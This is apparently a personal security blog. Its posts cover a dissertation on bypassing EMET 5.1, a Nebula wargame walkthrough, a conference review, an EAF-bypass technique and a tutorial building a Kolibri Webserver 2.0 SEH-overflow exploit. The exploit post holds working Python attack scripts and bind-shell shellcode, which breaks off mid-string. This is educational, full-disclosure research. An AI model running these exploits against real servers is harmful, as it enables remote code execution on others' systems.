Wednesday, July 1, 2015

Final Year Dissertation Paper Release: An Evaluation of the Effectiveness of EMET 5.1

Update (July 26th, 2015 4:00pm): So looks like I've finally got an answer reguarding this issue. A representative from the Export Control Organisation responded back saying that, as some of you have pointed out, by releasing my research publicly I would not be subject to the terms of the arrangement due to the public domain exception clause. Futhermore, they also do not consider exploits or intrustion software itself to be controlled by the new 'intrusion software' related controls for export from the UK or EU. Therefore it looks like I should be clear to release the full report to the public. I have attached a screenshot of the email below as proof of evidence and so you can read the details and full and make your own interpretation in case I have misread anything:



Update (July 20th, 2015 7:20 pm): Sorry for the delay reguarding this issue. I have recieved another update from the Department for Buisness, Innovation and Skills reguarding my questions. They have apparently decided to forward my question on to the Export Control Organisation who deal with export licenses and any conflict with the Wassenaar Arrangement. The email was sent on July 17th, as you can see below. I will await a response.

 
Update (July 15th, 2015 2:04 pm): So I have recieved an update from the HMRC government reguarding what they think about this issue as well as a minor update from my university. Starting with the university (since that is simpler), they are still working on getting things organised but are looking to try push the issue past the ethics board after I have stated my case as to why I believe the exploits, and subsequentally the whole research, should be published in full.

You can see the email response that I got from the uni below. For reference Julie Horton is the head of all of the final year dissertation projects at Northumbria University and also acts as a mediator of sorts to ensure that projects fall within the university's ethical guidelines. Martin Wonders, who you may see cc in the email above this one, was my project supervisor:


With that being said and done, I have recieved a final answer from HMRC. Unfortunetly despite my persistance reguarding the matter and repeated questioning of whether or not the paper was within the export restrictions guidelines, all I got as an answer was "look at the export guidelines". Here is the full chat log that I had with HMRC for reference:







In summary, the gist of the email is that the HMRC (who are one of two bodies responsible for enforcing export controls over here) referred me to the Department for Buisness, Innovation and Skills reguarding my original export question, at which point they have then repeatively told me that I need to align my research with reguards to the export control lists without stating whether or not my research actually falls within the tolerances of the export control lists or not.

Therefore at the moment, until I get a response back from my uni I can't really do anything. I've heard a lot of people state that the research should be ok to release publicly and provided the export controls in the UK are indeed in line with what I think they are it shouldn't be an issue but still working on getting the university side of things sorted out. Hopefully this will all become clear sometime soon.

Update (July 5th, 2015 23:47 pm): In light of the attention this post and the associated paper has been getting I would like to discuss my current plan of action. Many of you have said that I should just release the code publicly and get it over and done with. Whilst I would like to do this, I do not believe this to be the best of course of action. 

Instead I have decided to talk to my supervisor and the uni's ethics board again to see what can be done about releasing the code. As far as I am aware (this is from my main project supervisor) it should be possible to get the uni's ethics board to review and possibly change their decision to allow the code to be released but obviously this will take time.

The other thing that I have done is contacted the HMRC, one of the enforcing boards of the Wassenaar Arrangement here in the UK, to get their official opinion on this situation. I believe this is necessary to prevent such situations from happening in the future and at least get the UK government's opinion on such matters, which will hopefully help others who wish to release similar research in the future.

Please be patient with me whilst I continue with this process. I know you guys think I'm being naive/silly/w.e but at the end of the day this is my decision and this is what I believe is the best course of action for all involved.


This post has been in the works for a long time, however I wasn't able to release it until my official results came out due to concern about collusion which could have resulted in my university changing the results of my grade. However now that the grades have been published and results are final, I can share with you guys something I have been meaning to share for quite a while: my final year dissertation paper.

My paper covers three separate exploits that I converted to try bypass EMET 5.1's protections as best I could and the techniques that I used to do so as well as how successful EMET 5.1 was at preventing me from exploiting the vulnerable programs.

Before proceeding, please note a couple of very important points:

Update (July 26, 2015): Paper has now been released in full.
  • I am aware there are a few conceptual issues the approach I used for this paper. In particular, the technique that I used to bypass EAF and locate the functions needed to create the final exploit does not work consistently across different patch versions of the same operating system (aka a clean, unpatched version of Windows 7 will need different offsets than a fully patched version of Windows 7). Whilst further research did find that only a very limited number of core kernel updates affect this issue, it still is a huge limitation and is something that I would look to fix if I had more time in the future.
  • There may still be spelling or grammatical issues within this document, for which I apologise in advance. I have looked through the paper several times so most issues should be resolved but please let me know if you find anything.
  • There are a couple of sections within the paper that were purely for the uni. Please feel free to skip these as they are not relevant to the paper's content :)

With all that being said, please do enjoy the paper :) I hope you manage to learn something from it.

Download (full, uncensored version): https://drive.google.com/file/d/0B5pT4hU_yYUWLXVZVTlBa05La1E/view?usp=sharing

Download (old censored version):  https://drive.google.com/file/d/0B5pT4hU_yYUWcUtsUWxxcFJjOVU/view?usp=sharing

Friday, June 12, 2015

Nebula Exploit Exercise Level 00 Walkthrough

Intro

So this is more of a reminder post to myself to track my progress through this thing, but I thought I might as well do a post seeing as there are already about 6 other solutions out there and the authors don't seem to mind walkthroughs too much.

That being said, this is level 00. If your getting stuck on this, you should seriously try harder before you look at the solution. If you want to check your work however and think you have the solution, feel free to read on :)

The Problem

For Nebula's level 00 exercise, we are tasked with finding a setuid program that will run as the flag00 user. We are also given the hint that reading the manual page for the find command may help us find where this file is located.

So my first approach to this was to look up the manual page for the find command. However the manual page for the find command contains many different options and switches. Lets try grep out anything mentioning setuid or something along those lines shall we?

Solving the Problem

First we log in with the username level00 and the password level00. Following this we issue the following command:
man find | grep -i suid
      \( -perm -4000 -fprintf /root/suid.txt %#m %u %p\n \) , \
       into /root/suid.txt and large files into /root/big.txt. 
We see that we can could run find / -perm -4000 to find all of the files with the setuid bit set from the root directory downwards. But why is this the case? If we look up setuid within Wikipedia we get the following information:
The setuid and setgid bits are normally set with the command chmod by setting the high-order octal digit to 4 for setuid or 2 for setgid. "chmod 6711 file" will set both the setuid and setgid bits (2+4=6) (Wikipedia, 2015, June 12 2015, https://en.wikipedia.org/wiki/Setuid)
Thus from this we can see that within the UNIX privilege management system, the first number (the 6 in chmod 6711) denotes if the file has setuid or setgid permissions or not. Thus by searching for files via find / -perm -4000 we are effectively searching for all of the files which have the setuid bit set. However this could return quite a few files, so lets pipe the output to a file and then cat the result.
level00@nebula:~$ find / -perm -4000 > /tmp/results.txt
level00@nebula:~$ cat /tmp/results.txt
/bin/.../flag00
/bin/fusermount
/bin/mount
/bin/ping
/bin/ping6
/bin/su
/bin/umount
/sbin/mount.ecryptfs_private
/usr/bin/at
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
Ah, there we go :) We see that there is a file /bin/.../flag00 which seems to hold the suid flag that we need to complete this level. Lets check:
level00@nebula:~$ ls -alh /bin/.../flag00
-rwsr-x--- 1 flag00 level00 7.2K 2011-11-20 21:22 /bin/.../flag00
That looks like the one :) And if we execute it and then run getflag, we will see we have completed the challenge:
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account

Thursday, June 4, 2015

BSides London 2015 In Review

Hey guys, thought I would give a quick update as to some of the stuff that is going on in my life. Yesterday I went down to BSides London for another yearly event of meetups and talks. The event was great and I bumped into a whole bunch of people I hadn't seen in quite a while including some mates of mine from uni, and some pentester mates (@TheXero, @Zy0d0x, @n0x00, Duncan, and some other mates)

The keynote presentation was by Wendy Nather and it touched on the importance of privilege and usability within digital security and how assumptions about how users will interact with a system could result in client frustration and the creation of insecure systems.

The next presentation that I attended was @__Freakyclown__'s "How I Rob Banks". This excellent talk covered some of the security failings __Freakyclown__ had encountered when testing the security of modern banks. In particular it drove home the point that even if the company purchases the most top notch digital security gear, that does not necessarily mean that they spent as much money on their physical security. To highlight the simplicity of some of these issues he walked through some examples he had encountered in past engagements and how he managed to bypass the security mechanisms in place in each of the scenarios.

One particularly interesting example demonstrated was the bypassing of a invisible fence which used microwave waves to detect intruders. The only problem is that microwaves don't pass through all surfaces. Because of this, he was able to bypass their defences by crawling on the ground and using a group of low shrubs (which were blocking microwaves from passing through) to get past their initial external security.

Following __FreakyClown__'s talk, I decided to do a little bit of HallCon and grab some of the free lunch that was being offered. At this point I happened to bump into several people that I hadn't seen in quite a while and spent some time catching up with them. A noticeable difference from last year's BSidesLondon was that the conference venue seemed to be much more organised this year with a larger focus on HallCon, as evidenced by the chairs and tables in the vendor room as well as the ample free space throughout the conference.

Having completed caught up with people, I then decided to go to the workshop "Dradis Framework 3.0 - We Are Back!". To be completely honest I felt this workshop was a bit of a let down. Although Daniel Martin was an excellent teacher and was happy to help out, the Dradis 3.0 framework itself was found to need a lot of work. The reason for this was although the ready to go packages came with all of the prerequisites needed to run Dradis 3.0, it did not come with any plugins to import results from other tools. Futuremore, it was not currently possible to add additional plugins to this readily deployable version of Dradis without considerable time and effort.

Speaking with Daniel Martin (@etdsoft), he revealed that the original plan for these prebuilt packages was to strip all the plugins out and allow people to install them as they desire, however he has found that this doesn't work at the moment without a long and very complicated install process. As thus, he is planning to release a future version with all of the plugins installed from the start so people can remove the plugins as they desire. Hopefully this will be fixed in future releases, as I have heard many good things about the tool and seen some very interesting things that it is capable of doing.

The last workshop that I went to was Ruben Boonen (@FuzzySec) and Francesco Mifsud (@GradiusX)'s "Windows Privilege Escalation". The room was pretty full for this one, which was to be expected given the amount of interest it had generated :) The workshop covered some common issues within Windows services and applications that would allow one to escalate their privileges on Windows machines. The class went really fast, however thankfully they added notes into the material that they released in case anyone fell behind so it was pretty easy to catch up.

I learned a lot from this one from simply just going through the slides and materials and trying stuff out so it was well worth it. That being said however I think I need a lot more practice as there were quite a few commands that I either had never used before (such as findstr) or with which I was only vaguely familiar. Overall this had to be one of the better talks that I attended and I hope Ruben and Francesco decide to continue it in the future as I think it helped quite a lot of people out.

At this point the day was pretty much wrapped up and the only thing left was the closing remarks which consisted of some quick comments and some raffle draws/prize handouts.

Overall the event was thoroughly enjoyable and I really hope to go again. I can honestly say this was one of the few events where I didn't find a single major issue with the whole event, which was a rather pleasant surprise. I hope I can attend next year and that BSidesLondon will continue offering amazing talks and events.



Sunday, January 18, 2015

An Theoretical Approach to Getting Around EMET's EAF Protection

Update (01/28/15): As pointed out by Gorlob on /r/netsec (http://www.reddit.com/r/netsec/comments/2tnfac/bypassing_emets_eaf_protection_a_slightly/co1t26o), this techique may not work between different build versions of a given DLL. The reason for this is because different patches and updates may end up changing the offsets and locations of various functions within a DLL, such as the msvcrt.dll DLL we use in this tutorialm which would mean that even if I was to target, say a Windows 7 machine, I would have to change the offsets every time that machine was updated or patched. Please keep this in mind when reading the article below, and realize that while this is a bypass, its not really applicable to real world situations as it stands.


So a lot of people as of late have been talking about EMET an in particular how to bypass many of its protections and features that it offers. I thought this was an interesting challenge given my background in exploit development, so I decided to devote my dissertation paper to finding how effective EMET 5.1 is at preventing people from exploiting programs using three different types of exploits. However a few days ago I hit an interesting problem and today I would like to share the solution I came up with in the hopes that it may be useful to others.

My problem started when I needed to find a way to bypass EAF. For those of you who don't know, EAF protection is a protection offered as part of EMET's protection suite which prevents exploits from reading the Export Address Table (EAT) by blocking access to the EAT based on the origin of the code. Shellcode often needs to read the EAT in order to find out where various functions are in memory that it needs to call. Thus by filtering access to this table, shellcode, including metasploit shellcode, will be prevented from working, and EMET will simply detect an EAF bypass, will alert the user, and the program will be closed down. (Please see http://download.microsoft.com/download/A/A/8/AA853FAE-7608-462E-B166-45B0F065BA13/EMET%205.1%20User%20Guide.pdf for more details, in particular page 8)


There is a way around this however. As discussed in Aaron Portnoy's "Bypassing All Of The Things" presentation (https://www.exodusintel.com/files/Aaron_Portnoy-Bypassing_All_Of_The_Things.pdf), one can simply obtain the addresses from the Import Address Table (IAT), as discussed in slide 77, rather than the EAT. The IAT contains a list of entires, each which is a pointer to the actual address of the corresponding function in virtual memory.

To take a look at a executable's IAT, we can simply crack open a free version of IDA Pro and wait for IDA to finish examining the entire program. When its done, simply click on the tab labeled "Imports". You should end up seeing something like this:


On the far left we can see the addresses for each of the IAT entries, followed by an ordinal number if there is one (so that the function can be called via its ordinal number rather than via its normal address. Google this if you don't know what I'm talking about, its a bit beyond this post), the name of the function, and the library from which it came from.

So we have a way to get the actual address of the functions listed in the IAT, but what if the function you want does not exist as an entry within the IAT? Well, first you need to find an entry that exists in the same library as the function that you want to find the address of. Say I wanted to call ExitProcess, a function located in Kernel32.dll, and I know there is a function ReadFile which is also within Kernel32.dll.

There is an entry to ReadFile within the IAT at 0054E1F4. Dereferencing this address will get me the address of ReadFile. Once I have the address of ReadFile I can then take advantage of another trick to get the real address of ExitProcess. You see, because ReadFile and ExitProcess are in the same DLL, they will both have the same base address. These are usually the first 2 bytes of a 32 bit address. Furthremore, all functions are loaded at static offsets from the base address, reguardless of how randomized the DLL might be by ASLR etc. Because of this, with knowledge of where ReadFile is in memory, I can simply add or subtract the offset from ReadFile to ExitProcess from the address of ReadFile to get the address of ExitProcess in memory. This offset will never change even after the machine reboots and the location of Kernel32.dll changes.


However some of you might have noticed a slight problem with this. What if the program doesn't have an IAT entry to a function within the libary your desired function is in? Aka you want to call a function located in msvcrt.dll but there are no IAT entries that point to any functions within that library? Well this is exactly the situation I encountered in the field recently. I wanted to call the function memcpy using the IAT. memcpy is located in msvcrt.dll, however as you can see from the photo below, there is no IAT entry for memcpy:


As a matter of fact, there isn't any entry in the IAT table for function that belongs to a library who's name even starts with "m". We're going to have to get a little creative here.

If we look at the exe within Immunity Debugger, we notice that msvcrt.dll is actually loaded by the application itself. However because of rebasing, the address will change every time the system restarts:


However there is a way to get this to work. What we can do is abuse some of the properties of LoadLibraryA to still dynamically get the location of memcpy. Conveniently, the IAT has an entry for this:


Using this entry, we can simply dereference the memory address 0054E268 within our shellcode to get the address of LoadLibraryA. Once we have the address of LoadLibraryA, we can call it and pass a pointer to the string "msvcrt" on the stack (I have not shown how I dynamically created this on the stack, but its not too hard to do). Here is an example of this in an exploit I am presently working on (to give a more realistic example):


As you can see, we are presently calling LoadLibraryA, by dereferencing the address in EDX. EDX contains 0054E268, or the IAT entry for LoadLibraryA. By deferencing and then calling this address I end up calling LoadLibraryA itself. On the stack you can also note that I have placed the address where the "msvcrt" string is located, namely 10027090, as the library that I wish to load. Lets see what happens after this call completes:


As we can see, the base address of msvcrt.dll is placed into EAX once the call is done.

This means that based off of one entry within the IAT table, we can figure out the address of any other function in memory. Furthermore, even if the corresponding DLL is not loaded within the current program, LoadLibraryA will load the libary for you into the current process and return the base address where that library was loaded into EAX. Therefore, reguardless of the load status of the DLL which contains the function you are after, this trick will still work.

At this point, all we need to do is add to EAX the offset to the function we want to call within msvcrt.dll. These offsets are static, as mentioned before, so even after a reboot they will still remain the same, thus defeating the rebasing.

Anyway, I hope you guys found that interesting and useful. Just a little something I found during my research into EMET.

-tekwizz123

Friday, October 17, 2014

Finding New Vulns With Fuzzing and Turning them Into An Exploit Part 1: Kolibri Webserver 2.0 POST Exploit Example

Finding New Vulns and Bypassing All The Things: Kolibri Webserver 2.0 POST Exploit Example

Legal Disclaimer

The vulnerability discussed in this tutorial has been made public in the interests of public security. It was released to Bugtraq (http://seclists.org/bugtraq/2014/Aug/86) on the 17th of August, 2014 after careful decision and deliberation about what to do with the bug.

The decision was quickly made to make the bug public. The reason I decided to do this is because there are already 2 other bugs in Kolibri Webserver 2.0 which are reliant on the same vulnerable code path in the program and which also result in remote code execution. These vulnerabilities have not been patched to this day, despite the first vulnerability being found in 2010 (CVE-2010-5301) and being ported to Metasploit (http://www.rapid7.com/db/modules/exploit/windows/http/kolibri_http). This one was related to an overly long HEAD request. The second vulnerability was also found in 2014 (CVE-2014-4158) and was related to an overly long GET request. There is also exploit code available for these two bugs, as can be seen at http://www.exploit-db.com/exploits/34059/ and http://www.exploit-db.com/exploits/33027/. 

Furthermore, the vendor has responded to, as far as I am aware, at least the HEAD vulnerability, by stating "Please note there are number of reported "security vulnerabilities" for Kolibri webserver. So let me clarify that Kolibri+ is not secure and will never be secure for the same reason bicycles don't have airbags." However this is not immediately apparent, as one has to navigate to the Kolibri+ Webserver page (available at http://www.senkas.com/kolibri-plus/) to see this notification, and there is no notification about this on the Kolibri Webserver page. From what I am aware of, Kolibri+ is meant to be the new edition of Kolibri Webserver, therefore it would seem likely that it is built on the same code base, but I have yet to verify this. Something to investigate if your interested :)

Anyway, getting back to the story. When I put all of this together I decided to go full disclosure on the issue as the vendor clearly has no intention of fixing the numerous bugs within the code, and with the combination of the public HEAD and GET exploits which have the same impact on the program and which take the same vulnerable code branch, I saw no reason why making my exploit public would harm anyone. Thus this is why I chose the full disclosure approach. Upon later investigation, it also appears that this product hasn't been updated since 2008, so it appears to have been abandoned by the software developer.

Disclosure Process

August 7-8th to the 16th: Work on making a proper PoC to demonstrate RCE

August 16th 2014: Request CVE-ID from MITRE by emailing cve-assign@mitre.org.

August 17th 2014: Get email back from mitre.org saying they have assigned CVE-2014-5289 to the issue and add a note of the other CVE-ID's for the other vulnerabilities.

August 17th 2014: Send off email to BugTraq mailing list with the details, and explanation of the bug, and a working PoC that popped a reverse shell to prove the vulnerability.

August 18th 2014: Vulnerability Published on BugTraq mailing list publicly as per mitre.org's general recommended guidelines at http://seclists.org/bugtraq/2014/Aug/86

August 19th: Vulnerability taken by others and posted to numerous sites including 1337day.com and packetstormsecurity.com, is assigned a number in the OSVDB (110142 as can be seen here: http://osvdb.org/show/osvdb/110142).

August 20th: Contact MITRE to let them know the issue is public and has been posted to BugTraq. Email them a link to the BugTraq post, along with the other resources I found that had the exploit code to prove that the issue had now gone public.

Some days later: CVE-2014-5289 is assigned to the issue as seen here (http://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-5289)

The Proper Intro

What is the Bug?

Essentially speaking, this is not a very complex bug. If you've looked at some of my previous tutorials, this bug might seem very simple to you. If not, you should have a good understanding of:
  • Egghunters
  • SEH Overflows
  • Debuggers in general
If you don't understand those concepts or how to do common exploits/work a debugger, you may want to look at some of Corelan's or Lupin's tutorials at TheGreyCorner and come back when you have more experience. If you have no idea what the heck I am saying, a) Your in the wrong place and b) Go to Lupin's TheGreyCorner and start reading all of his tutorials. When your done, read up to tutorial 6 from Corelan. Then come back here.

Back to the bug. The bug is essentially a buffer overflow when parsing an overly long URL for a POST request. Thus the following request will cause a crash:

POST /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HTTP/1.1\r\n
User-Agent: Wget/1.13.4\r\n
Host: 192.168.99.142:8080\r\n
Accept: */*\r\n
Connection: Keep-Alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 50

licenseID=string&content=string&paramsXML=string

Setting Up

All good? Ok. So here is what your going to need to continue following along with this tutorial:

  • A Windows 7 machine, can be x86 or x64, though to start off with you may want the x86 version, otherwise you'll have to wait for the WoW64 egghunter portion of the tutorial to get the 64 bit version working.
  • A Kali Linux machine on the same network as the Windows 7 one.
  • Immunity Debugger
  • Mona.py (optional)
  • pattern_create.rb and pattern_offset.rb from Metasploit
  • The WoW64 egghunter code from https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/.
  • Kolibri Webserver 2.0 (http://www.senkas.com/kolibri/download.php)
First set up your Kali Linux machine. Then install Kolibri onto the Windows machine, and set up Immunity Debugger and optionally install mona.py. Once we have done this we can start fuzzing Kolibri for flaws.

Explaining the Fuzzing Code

This was actually done whilst probing for existing vulnerabilities for my CTP course to make some SPIKE templates. During this time I was testing Kolibri webserver for its vulnerable GET overflow and thought that I might as well expand the example and try creating a POST template as well, since GET and POST share some similarities in their parameters.

Funnily enough, after less than 2 minutes of fuzzing, the program fell over with an exploitable crash. The spike template that I used for fuzzing the program was:

s_string("POST /");
s_string_variable("enlighten/calais.asmx/Enlighten");
s_string(" ");
s_string("HTTP/1.1\r\n");
s_string("User-Agent: Wget/1.13.4\r\n");
s_string("Host: 192.168.99.142:8080\r\n");
s_string("Accept: */*\r\n");
s_string("Connection: Keep-Alive\r\n");
s_string("Content-Type: application/x-www-form-urlencoded\r\n");
s_string("Content-Length: ");
s_blocksize_string("data", 2);
s_string("\r\n\r\n");
s_block_start("data");
s_string_variable("licenseID=string&content=string&paramsXML=string");
s_block_end("data");
s_read_packet();
sleep(3);
s_read_packet();
What this code does is first declare the static string "POST /" (minus the quotes, those are just for clarity) that will always be sent first. This will be follow not by a new line, but rather by a variable string which will change constantly according to a predefined set of checks defined in SPIKE. The first string that it will test however is the value currently defined in the quotes, namely "enlighten/calais.asmx/Enlighten" (again, sans quotes). The rest of the s_string declarations should be fairly straightforward if you got the earlier s_string example with "POST /".

The part after this is a bit more confusing. The line 's_blocksize_string("data", 2)' says to the spike fuzzer that we would like to insert a 2 byte value representing the size of the block called "data" at this location. The line 's_block_start("data");' starts the definition for this block of data (ironically named "data") of which the length needs to be tracked for the s_blocksize_string line so it can insert the correct length of the string into the packet it sends to the server. We then declare a variable string (tbh we don't need to as we never get to fuzzing this before the program crashes, but hey, I wanted to show a different way of doing things ;)) with the line "s_string_variable("licenseID=string&content=string&paramsXML=string");". Following this we use s_block_end("data") to end the block "data", thus the block "data" now contains one element, a string of arbitrary length, who' size can be tracked with the earlier s_blocksize_string line.

Finally, after declaring all of the parts of the packet that we will send line by line, we then recv the banner response from the server, as Kolibri will send a banner to anyone who connects to its server port, and we would like to retrieve this if possible. Following this, we sleep for 5 seconds to allow the server to properly handle our requests and not get overwhelmed. For some reason Kolibri is not very good at handling multiple requests simultaneously, thus the long wait period. You can tune this down to about 3 seconds if you want to speed things up, but any shorter might cause problems.

Fuzzing the Server

At this point we now need to fuzz the server and observe any crashes that occur. Save the script I mentioned above as post.spk on your Kali machine:


Ok at this point, we now need to set up the Windows machine so Kolibri is listening and Immunity is attached to it so we check for crashes and capture any of them of them in Immunity for further inspection.

First off we will start up Kolibri. We will then attach Immunity to Kolibri so we can debug any crashes:


Once you have done this, press F9 to run the program, and then hop on over to your Backtrack/Linux machine where we'll start up the fuzzer and use Wireshark to capture the traffic that is sent over the wire.

If you encounter an error when accessing 00000000 on startup, just press shift and F9 together and the program will carry on running.

On the Backtrack host, set up Wireshark to listen on the interface that you will be using to send the packets (I'm assuming at this point you know how to use Wireshark or a similar tool, if not, Google is your friend). We will then navigate to the directory of our post.spk SPIKE file (or whatever you have named the SPIKE file we created earlier) and will execute the following command:

generic_send_tcp 192.168.82.129 8080 post.spk 0 0
 In this command we use the generic_send_tcp command included with the SPIKE toolkit to fuzz a generic TCP request using the SPIKE fuzzing template we created. We tell it to connect to 192.168.82.129 on port 8080 to preform the fuzzing and tell it to start from the first variable we wish to fuzz (we defined 2 in our SPIKE file), and to use the first fuzzing case generated for it (the second 0 you see in the command).

If we wanted to, we could change these last two parameters to skip the fuzzing of the first variable and instead start from the second variable, or to skip over certain test cases that may crash the program in a nonexploitable way. This won't be necessary today, but I would like to make you aware of this in case you wish to explore further ;)

Now that we have that all set up, lets set off the fuzzer!


As you can see, we have Wireshark in the background capturing any and all packets that are being transmitted over the wire so I can try and pinpoint where the application is crashing. In the foreground you can see the progress of SPIKE as it slowly fuzzes the application.

The reason we place a long delay in (see the file for where we add "sleep(3);"), is that Kolibri is incredibly slow at responding to requests by web server standards. To ensure requests don't intermix and the results from the crash are as clear as possible, I decided to make the wait time sufficiently long so that the application can handle the requests in adequate time. If you wish you can make this shorter, but if you get odd results I did warn you! In the meantime I recommend you get a light snack, and wait.

If you continue to monitor the status of the fuzzing, you should eventually see something like this on the 30th request (at least for me it was like that). If you don't get this, skip this section and move on to where I create the PoC. The application is really slow to respond and can be a little buggy.

Anyway this is what it looks like before the crash, when its accepting requests:


And after the crash we see EBX is fully in our control and points to somewhere within our buffer of A's that were sent (A = \x41 in hex). If we look carefully at the stack we can also see a pointer to our buffer there as well:


This may not seem exploitable (the real error that occurs, excuse the screenshot, is an access violation), but if we check the SEH overflow we can see we have successfully overwritten the SEH handler:


So we know we can now control the SEH handler and subsequently EIP and we also have control over EBX. Lets make a PoC to test our theory. If we look at the request that corresponds to request 30 in the command line we see this:

Done with read
Fuzzing Variable 0:30
Variablesize= 2050
Reading packet

Creating the POC

So lets make a PoC that sends 2050 A's in the right part of the POST request. Opening up our post.spk file, we can see this corresponds to the first "string_variable" line:

s_string("POST /");
s_string_variable("enlighten/calais.asmx/Enlighten");
s_string(" ");

Thus the request we should send should look like "POST /*long string of A's here*", sans the quotes:

#!/bin/python
import socket

overflow = "A" * 2050
buffer = "POST /" + overflow + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: 192.168.99.142:8080\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.82.129", 8080))
handle.send(buffer)
handle.close()
Running this program against the target generates the same crash as before. If we now click on the first address in the SEH chain, right click on it and select "Follow In Stack" and then scroll to the bottom of the stack, we will notice our first error. We appear to have written past the end of the stack:


If we click on the address of the previous SEH handler and then scroll up to the beginning of our A's, we can see that it takes 687 hex bytes, or 1671 bytes to overwrite the previous SEH handler.


Lets test this theory out:

#!/bin/python
import socket

inital = "A" * 1671
previousSEH = "D" * 4
SEHHandle = "C" * 4
restOfBuffer = "A" * (2050 - (len(inital) + len(previousSEH) + len(SEHHandle)))

buffer = "POST /" + inital + previousSEH + SEHHandle + restOfBuffer + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: 192.168.99.142:8080\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.82.129", 8080))
handle.send(buffer)
handle.close()
If we send this to the target and then observe the SEH chain afterwards, we can see that we successfully overwrite the current and previous SEH handler.

A Problem Appears

At this point we run into a small problem. When looking at the available modules in mona to find what ones are not SafeSEH enabled, we see that only the application itself is not SafeSEH enabled:


Further experimentation reveals the end of the request is being terminated by a \x0D byte. Because of this we can't even use a 3 byte overwrite and rely on the null terminator to supply the final \x00 we need to use addresses from the binary itself.

However if we adjust the code and reduce the size of our overwrite, we can actually get the request to be terminated with a null byte. The code that causes this overwrite can be seen below:

#!/bin/python
import socket

inital = "\x41" * 790
nseh = "BBBB"
seh = "\xCC\xCC\xCC"

buffer = "POST /" + inital + nseh + seh + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: 192.168.99.142:8080\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.82.129", 8080))
handle.send(buffer)
handle.close()

And as you can see, the request is terminated with a \x00 byte, resulting in the SEH handler being set to 00CCCCCC:


The next part comes in bypassing ASLR on Windows, which is the first of several protections we will need to bypass to get around EMET (which will be discussed in a seperate blog post).

From the earlier post where we examined that SafeSEH is not enabled for the application binary itself, we can also notice that the application binary itself is the only one not subject to DEP, ASLR, or pretty much any protections at all. As thus, if we can find an address within this binary that holds a POP POP RETN instruction, we can use this in combination with the fact that our requests are now terminated with a null byte (the first byte of the binary's addresses start with a \x00 so we need to use this trick to be able to use addresses from the binary itself) to create a ASLR friendly SEH overwrite.

Lets pick the first address we find (004015C2):


Putting this into the exploit gives the following:

#!/bin/python
import socket

shellcode = "\xCC" * 600
jmpShellcode = "\xE9\xF3\xFC\xFF\xFF" # JMP to the beginning of our shellcode
inital = "\x41" * (790 - len(shellcode)-len(jmpShellcode))
nseh = "\xEB\xF0\x90\x90" # JMP backwards 15 bytes
seh = "\xC2\x15\x40" #004015C2 -> POP EDI, POP EBP, RETN from Application itself


buffer = "POST /" + shellcode + inital + jmpShellcode + nseh + seh + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: 192.168.99.142:8080\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.82.129", 8080))
handle.send(buffer)
handle.close()

Sending this results in us hitting our POP POP RET (the breakpoint was set after this photo was taken, but make sure to set one there before you try sending the exploit):


And executing these instructions lands us in the 4 byte space we are presently using for the NSEH address:


As we can see in the exploit code, the solution to this is to use the sequence \xeb\xF0\x90\x90 or a short jump backwards to gain more space to jump backwards.


Once this jump was executed, we need a bigger jump backwards to get to the start or near the start of our shellcode. The bytes \xE9\xF3\xFC\xFF\xFF will satisfy this requirement and perform a long jump back near the beginning of our shellcode, as can be seen in our debugger:



As you can see this results in us hitting somewhere near the beginning of our shellcode:



Ok, now all we have to modify the exploit one last time to include the exploit code for a windows/shell_bind_tcp shell on port 4444, excluding the bad characters \x00\x20\x3F:

#!/bin/python
import socket

shellcode = "\x90" * 20

buf = ""
buf += "\xb8\x5d\x64\xb6\xa1\xdb\xde\xd9\x74\x24\xf4\x5b\x2b"
buf += "\xc9\xb1\x56\x31\x43\x13\x03\x43\x13\x83\xc3\x59\x86"
buf += "\x43\x5d\x89\xcf\xac\x9e\x49\xb0\x25\x7b\x78\xe2\x52"
buf += "\x0f\x28\x32\x10\x5d\xc0\xb9\x74\x76\x53\xcf\x50\x79"
buf += "\xd4\x7a\x87\xb4\xe5\x4a\x07\x1a\x25\xcc\xfb\x61\x79"
buf += "\x2e\xc5\xa9\x8c\x2f\x02\xd7\x7e\x7d\xdb\x93\x2c\x92"
buf += "\x68\xe1\xec\x93\xbe\x6d\x4c\xec\xbb\xb2\x38\x46\xc5"
buf += "\xe2\x90\xdd\x8d\x1a\x9b\xba\x2d\x1a\x48\xd9\x12\x55"
buf += "\xe5\x2a\xe0\x64\x2f\x63\x09\x57\x0f\x28\x34\x57\x82"
